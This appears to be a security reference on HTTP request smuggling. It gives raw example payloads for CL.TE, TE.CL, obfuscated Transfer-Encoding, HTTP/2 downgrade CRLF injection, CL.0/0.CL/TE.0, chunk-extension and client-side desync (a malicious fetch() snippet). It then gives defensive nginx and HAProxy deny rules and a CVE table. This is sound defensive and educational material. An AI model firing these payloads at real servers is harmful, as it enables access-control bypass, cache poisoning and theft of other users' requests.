HTTP request smuggling exploits parser disagreements between a front-end proxy and a back-end server about where one request ends and the next begins. By crafting ambiguous Content-Length and Transfer-Encoding framing — or downgrading HTTP/2 to HTTP/1.1 mid-flight — an attacker prepends a hidden request to an unrelated victim's connection. Impact is socket poisoning, response queue poisoning, ACL bypass, cache poisoning, and credential theft from in-flight requests.
The 2024-2025 frontier is Kettle's "HTTP/1.1 Must Die / Desync Endgame" work: 0.CL via Expect: 100-continue (CVE-2025-32094, Akamai/LastPass), TE.0 across major CDNs, and chunk-extension smuggling (CVE-2025-55315). The only durable fix is end-to-end HTTP/2 to the back-end; header-rejection alone has been bypassed too many times.
Front-end frames the request with Content-Length and forwards the full body downstream. Back-end uses Transfer-Encoding: chunked, stops at the 0\r\n\r\n terminator, and treats the trailing bytes as the start of the next pipelined request. Result: attacker prepends a smuggled request to whatever the front-end sends next on that socket.
POST / HTTP/1.1 Host: target Content-Length: 6 Transfer-Encoding: chunked 0 X
Front-end reads 6 body bytes (the entire payload) and forwards. Back-end honours chunked, sees the 0-chunk terminator, and the trailing X becomes the first byte of the next request — confirming desync.
POST / HTTP/1.1 Host: target Content-Length: 44 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: target
After the 0-chunk terminator, the GET /admin block is left in the back-end socket. The next legitimate request on that connection is prepended with the smuggled bytes — front-end sees a normal POST, back-end serves /admin to the wrong client.
The mirror image. Front-end honours chunked framing; back-end takes only the first N bytes per Content-Length and leaves the chunk-encoded remainder in the socket as the next request.
POST / HTTP/1.1 Host: target Content-Length: 3 Transfer-Encoding: chunked 8 SMUGGLED 0
Front-end forwards the chunked body in full; back-end reads only 3 bytes (matching CL: 3) and treats "SMUGGLED\r\n0\r\n\r\n" as the start of the next request, confirming desync. The opposite timing signal to CL.TE.
Both servers nominally support Transfer-Encoding: chunked, but one is tricked into ignoring it via a header obfuscation. Test one obfuscation per request; the goal is to find a single string that the front-end accepts as chunked while the back-end discards it (or vice versa), reducing the attack to CL.TE or TE.CL behaviour.
Transfer-Encoding : chunked
RFC 7230 forbids whitespace before the header colon, but some parsers tolerate it while others reject the whole line. The mismatch lets one server frame as CL and the other as TE.
Transfer-Encoding: chunked
Tab character between colon and value is rejected by strict parsers and accepted by lenient ones — same effect as the space-before-colon trick.
Transfer-Encoding: chunked
Leading whitespace triggers HTTP/1.0-style "header line continuation" on legacy parsers, which fold it into the previous header instead of treating it as TE.
Transfer-Encoding: chunked Transfer-Encoding: identity
Two TE headers, one valid and one invalid value. Servers disagree on which one wins (first-wins vs last-wins vs reject); the disagreement is the desync.
Transfer-Encoding: chunked Z
A bare CR inside the value is normalised differently by different parsers — some treat the value as "chunked", others as a malformed token and ignore the header entirely.
Transfer-Encoding: xchunked
Lenient parsers do prefix-matching on the value and treat xchunked as chunked; strict parsers reject the unknown coding. The disagreement gives the attacker CL.TE or TE.CL behaviour.
Front-end speaks HTTP/2 to the client and downgrades to HTTP/1.1 toward the back-end. The translation step re-serialises a binary HTTP/2 message into ASCII HTTP/1.1 framing, and any leniency in that translator becomes an injection primitive. Documented at scale by Kettle (PortSwigger 2021) against AWS ALB, Netflix, Atlassian, and Netlify.
HTTP/2 message: :method=POST, content-length=0, body=200 bytes
Front-end accepts an HTTP/2 message whose declared content-length disagrees with actual body length. On downgrade it emits Content-Length: 0 plus 200 bytes of body, and the back-end reads those bytes as the next request.
HTTP/2 message: transfer-encoding: chunked
HTTP/2 forbids transfer-encoding: chunked, but some translators forward it anyway. After downgrade the back-end frames the body by chunk while the front-end already framed by length, reducing to CL.TE behaviour.
header value: "smuggle\r\nGET /admin HTTP/1.1\r\nX:"
HTTP/2 binary framing carries CRLF inside header values; a naive translator emits it verbatim into HTTP/1.1, splitting one header into a real header followed by an attacker-controlled request line.
:path = "/a HTTP/1.1\r\nHost: target\r\n\r\nGET /admin"
CRLF embedded in the :path pseudo-header is re-serialised on downgrade, producing a malformed first line followed by a second attacker-controlled request line on the same connection.
The 2022-2024 family. 0.CL — front-end believes the body is empty while back-end keeps reading until a hidden length is satisfied (often via Expect: 100-continue mishandling). CL.0 — back-end ignores Content-Length and treats the body as the next request, most reliable on early-response gadgets like static asset paths or IIS reserved names. TE.0 (sw33tLie/bsysop/Medusa, 2024) — back-end accepts chunked but ignores body framing entirely.
POST /static.css HTTP/1.1 Host: target Content-Length: 41 GET /admin HTTP/1.1 Host: target
Back-end serves /static.css directly (early response, body never read), leaves the GET /admin block in the socket. Static asset paths, redirect handlers, and IIS reserved names like /con are the most reliable gadgets.
POST / HTTP/1.1 Host: target Content-Length: 41 Expect: 100-continue GET /admin HTTP/1.1 Host: target
Front-end mishandles Expect: 100-continue, treating the body as zero-length and forwarding only the headers. Back-end still reads Content-Length bytes from the socket, consuming the smuggled GET /admin block. Akamai pattern (CVE-2025-32094).
Expect: y 100-continue
Akamai's parser accepted "Expect: y 100-continue" as a valid 100-continue directive while back-end vendors rejected it, producing the parser-discrepancy that drove CVE-2025-32094 against auth.lastpass.com.
POST / HTTP/1.1 Host: target Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: target
Back-end accepts chunked but ignores body framing entirely, treating remaining bytes as the next request. sw33tLie/bsysop/Medusa research, 3rd place in PortSwigger Top-10 Web Hacking Techniques of 2024 with multiple CDNs exploitable.
Attacker sends a partial request, pauses past the server timeout, and some implementations leave the socket in a half-open state and try to reuse it. The next request on that socket is prepended with the attacker's leftover bytes. Foundational for understanding modern timeout-driven vectors. CVE-2022-22720 (Apache) and CVE-2022-23959 (Varnish) are the canonical cases.
POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 100\r\n\r\n[20 bytes][pause 60s][80 bytes]
Apache's server-issued redirects could leave a partial body in the socket past the timeout window. CVE-2022-22720 closed this; mitigations are version-pinned.
Partial POST → server-side synth() response → connection retained with leftover bytes
Varnish's synth() fast-path response returned before the body was fully read; the unread bytes lived in the socket and prepended the next request. CVE-2022-23959.
Class affecting front-end + back-end pairs that disagree on chunk-extension parsing. Chunked encoding allows extensions on the size line ("1; ext=val\r\n"); F5 NGINX App Protect normalises them out, others forward them verbatim, and the differential lets an attacker craft a body that frames differently between the two hops. Disclosed November 2025.
POST / HTTP/1.1 Host: target Transfer-Encoding: chunked 1; foo=bar A 0 GET /admin HTTP/1.1
Front-end strips "; foo=bar" (or interprets it differently) while back-end reads the chunk size differently because of how the extension is parsed. The framing difference leaves the smuggled request bytes in the back-end socket.
Kettle 2022 reformulation: the desync occurs between a victim's browser and the front-end, with no malicious client tooling required. The browser pool reuses a poisoned socket so the victim's next request is prepended with the attacker's smuggled prefix. Enables exploitation of CL.0 / 0.CL classes against arbitrary victims via a malicious page (no MITM required).
fetch('https://victim.tld/static.css', {method:'POST', body:'GET /admin HTTP/1.1\r\nHost: victim.tld\r\n\r\n', keepalive:true})A malicious page issues a fetch() with keepalive that lands on a CL.0 gadget. The browser keeps the socket warm in its connection pool; the victim's next request to victim.tld reuses that socket and is prepended by the smuggled bytes.
Kettle's "Desync Endgame" framework: Visible-to-front-Hidden-to-back and Hidden-to-front-Visible-to-back combinations unify CL.TE, TE.CL, 0.CL, CL.0, TE.0 and chunk-extension smuggling under a single grading model. Argument: HTTP/1.1's multi-length-spec design is the bug; only durable fix is upstream HTTP/2.
Visible-front Content-Length = 0 + Hidden-back Content-Length = 41 → 0.CL desync
Front-end mishandles Expect: 100-continue (or obfuscated variants like "Expect: y 100-continue") so it forwards zero body bytes while the back-end still reads Content-Length bytes. CVE-2025-32094 against Akamai-fronted tenants including auth.lastpass.com; researchers earned $200k+ in two weeks across CDNs.
Expect: y 100-continue → 0.CL desync against Akamai-fronted backend
Back-end accepts Transfer-Encoding: chunked but ignores body framing, treating remaining bytes as the next request. sw33tLie/bsysop/Medusa research; 3rd place in PortSwigger Top 10 Web Hacking Techniques of 2024 with multiple major CDNs exploitable.
Front-end and back-end disagree on chunk-extension parsing. F5 NGINX App Protect normalises extensions out; others forward them verbatim. The differential frames the body inconsistently between the two hops, leaving smuggled bytes in the back-end socket. Disclosed November 2025.
1; ext=val\r\nA\r\n0\r\n\r\nGET /admin HTTP/1.1\r\n\r\n
HTTP/2 → HTTP/1.1 translation re-serialises binary frames into ASCII; any leniency becomes an injection primitive. Weaponised against AWS ALB, Netflix, Atlassian, Netlify in 2021-2023.
Sender pauses mid-request past the server timeout; some implementations retain the socket in a half-open state and reuse it. CVE-2022-22720 (Apache server-issued redirects) and CVE-2022-23959 (Varnish synth() timeout) remain the canonical cases.
Front-end speaks HTTP/2 to the client AND to the back-end. Eliminates the HTTP/1.1 framing ambiguity that all of CL.TE / TE.CL / 0.CL / CL.0 / TE.0 rely on. Per Kettle 2024-2025 this is the only durable fix; everything else is defence-in-depth.
# nginx — upstream HTTP/2 to the back-end (requires nginx 1.25.1+).
# Removes HTTP/1.1 from the back-channel entirely.
http {
upstream app_backend {
# All back-ends speak HTTP/2 directly.
server 10.0.0.10:443;
server 10.0.0.11:443;
keepalive 32;
}
server {
listen 443 ssl http2;
server_name app.example.com;
location / {
proxy_pass https://app_backend;
proxy_http_version 2; # nginx 1.25.1+ — upstream HTTP/2
proxy_ssl_server_name on;
# Defence-in-depth: forbid request-body on safe methods.
if ($request_method ~ ^(GET|HEAD|OPTIONS)$) {
set $forbid_body 1;
}
client_max_body_size 1m;
}
}
}
Drop any request containing both Content-Length and Transfer-Encoding, multiple Content-Length headers, multiple Transfer-Encoding headers, whitespace-prefixed CL/TE, or non-canonical TE values. The example below uses HAProxy http-request rules and an nginx map; deploy whichever matches your edge.
# haproxy.cfg — reject ambiguous framing at the edge.
frontend fe_https
bind *:443 ssl crt /etc/haproxy/certs
mode http
# Both CL and TE present — classic CL.TE / TE.CL surface.
http-request deny status 400 if { req.hdr_cnt(content-length) gt 0 } { req.hdr_cnt(transfer-encoding) gt 0 }
# Duplicate Content-Length / Transfer-Encoding.
http-request deny status 400 if { req.hdr_cnt(content-length) gt 1 }
http-request deny status 400 if { req.hdr_cnt(transfer-encoding) gt 1 }
# Non-canonical TE value (anything other than the literal "chunked").
http-request deny status 400 if { req.hdr(transfer-encoding) -m found } !{ req.hdr(transfer-encoding) -m str chunked }
# Reject body on safe methods.
http-request deny status 400 if { method GET HEAD OPTIONS } { req.hdr(content-length) -m int gt 0 }
default_backend be_app
Chunk extensions are forwarded inconsistently between front-end and back-end (CVE-2025-55315). Strip them at the edge and reject obfuscated TE variants (whitespace before colon, leading-space folding, non-chunked values). NGINX App Protect normalises extensions by default; the snippet below replicates the behaviour with stock nginx.
# nginx — reject obfuscated CL/TE and forbid request-body on safe methods.
# Pair with NGINX App Protect (or equivalent) to strip chunk extensions.
http {
map $http_transfer_encoding $bad_te {
default 0;
"" 0;
"chunked" 0;
"~^\s+chunked" 1; # leading whitespace
"~^chunked\s+" 1; # trailing whitespace
"~," 1; # multiple codings
"~[^A-Za-z]chunked" 1; # embedded delimiter
}
# Reject when both CL and TE are present (HTTP/1.1 forbids this).
map "$http_content_length:$http_transfer_encoding" $cl_te_conflict {
default 0;
"~^.+:.+$" 1;
}
server {
listen 443 ssl http2;
server_name app.example.com;
if ($bad_te) { return 400; }
if ($cl_te_conflict) { return 400; }
# Forbid body on GET/HEAD/OPTIONS — kills early-response gadgets.
if ($request_method ~ ^(GET|HEAD|OPTIONS)$) {
set $forbid_body 1;
}
location / {
proxy_pass https://app_backend;
proxy_http_version 2; # upstream HTTP/2
proxy_request_buffering on; # full body buffered before forwarding
}
}
}
When upstream HTTP/2 is not yet available, force Connection: close on every front-end → back-end hop. Performance cost is real, but it neutralises socket poisoning entirely because there is no shared socket for an attacker to taint.
location / {
proxy_pass http://app_backend;
proxy_set_header Connection ""; # remove client Connection header
proxy_http_version 1.1;
proxy_set_header Connection "close"; # one request per upstream socket
keepalive_requests 1;
}
CL.0 and 0.CL exploitation depends on "early-response gadgets" — paths that return 30x/40x/200 without reading the request body (static assets, redirect handlers, IIS reserved names). Reject any body on those paths at the edge so the body-reading skew vanishes.
Run HTTP Request Smuggler v3.0 (Burp Pro) and Param-Miner discrepancy tests against staging in CI. Track and apply CVE-2024-53008 (HAProxy), CVE-2025-32094 (Akamai Expect), CVE-2025-55315 (chunk-extension), CVE-2022-22720 / CVE-2022-23959 (Apache/Varnish pause-based) on the relevant fleets.
If you cannot switch to upstream HTTP/2 yet, do not silently downgrade HTTP/2 to HTTP/1.1 toward the back-end without strict header re-validation. Reject HTTP/2 messages containing forbidden headers (transfer-encoding) or non-printable bytes in pseudo-headers before they ever reach the translator.
| CVE | Year | Title | Description |
|---|---|---|---|
| CVE-2025-32094 | 2025 | Akamai Expect-based 0.CL desync (auth.lastpass.com) | Akamai parser accepted obfuscated Expect: 100-continue values ("Expect: y 100-continue") that back-end vendors rejected, producing a 0.CL desync against high-value tenants including auth.lastpass.com. Researchers earned $200k+ across CDNs in two weeks. Patched by Akamai. |
| CVE-2024-53008 | 2024 | HAProxy CL/TE request smuggling → ACL bypass | Smuggled requests bypassed HAProxy ACLs and reached protected back-end endpoints, enabling exfil of resources behind the proxy. Triage critical for HAProxy-fronted infrastructure; patched in 2.9.x / 3.0.x stable branches. |
| CVE-2025-55315 | 2025 | Chunk-extension HTTP request smuggling | Front-end + back-end pairs disagreed on chunk-extension parsing ("1; ext=val\r\n"). F5 NGINX App Protect normalises extensions out; others did not. F5 published mitigation guidance in November 2025. |
| CVE-2022-22720 | 2022 | Apache 2.4 pause-based desync via server-issued redirects | Apache server-issued redirects could leave a partial body in the socket past the timeout window, enabling pause-based smuggling. Foundational case for understanding modern timeout-driven vectors. |
| CVE-2022-23959 | 2022 | Varnish synth() timeout-driven desync | Varnish synth() fast-path returned before the body was fully read; unread bytes lived in the socket and prepended the next request. Companion to CVE-2022-22720 in the pause-based class. |
| TE.0 desync (Top-10 2024) | 2024 | TE.0 across major CDNs | sw33tLie/bsysop/Medusa research disclosed TE.0 (back-end accepts chunked but ignores framing) against multiple major CDNs. 3rd place in PortSwigger Top 10 Web Hacking Techniques of 2024; reported $200k+ in bounties within two weeks. |